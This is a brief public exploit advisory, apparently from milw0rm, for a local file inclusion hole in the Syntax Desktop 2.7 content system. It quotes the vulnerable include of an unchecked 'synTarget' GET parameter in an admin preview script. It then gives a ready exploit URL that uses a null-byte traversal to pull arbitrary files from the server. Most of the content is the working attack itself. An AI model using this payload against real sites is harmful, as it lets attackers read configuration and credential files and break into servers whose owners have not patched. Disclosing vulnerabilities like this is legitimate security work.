31 lines
No EOL
1 KiB
Text
31 lines
No EOL
1 KiB
Text
-----------------:local File Include:-----------------
|
|
-------------------------------------------------------
|
|
script: syntax-desktop 2-7
|
|
|
|
------------------------------------------------------------------
|
|
download from:http://downloads.sourceforge.net/syntax-desktop/syntax-desktop-2-7.zip?modtime=1215600196&big_mirror=0
|
|
|
|
|
|
------------------------------------------------------------------
|
|
........................................................
|
|
vul: /admin/modules/aa/preview.php
|
|
|
|
line 42 $target=$_GET["synTarget"];
|
|
ob_start();
|
|
line 44 include("../../../$target");
|
|
|
|
-----------------------------------------------------
|
|
-----------------------------------------------------
|
|
|
|
xpl:
|
|
|
|
http://127.0.0.1/path/admin/modules/aa/preview.php?synTarget=[Lfi]%00
|
|
|
|
|
|
***************************************************
|
|
***************************************************
|
|
---------------------------------------------------
|
|
Author: ahmadbady [kivi_hacker666@yahoo.com]
|
|
---------------------------------------------------
|
|
|
|
# milw0rm.com [2009-02-04] |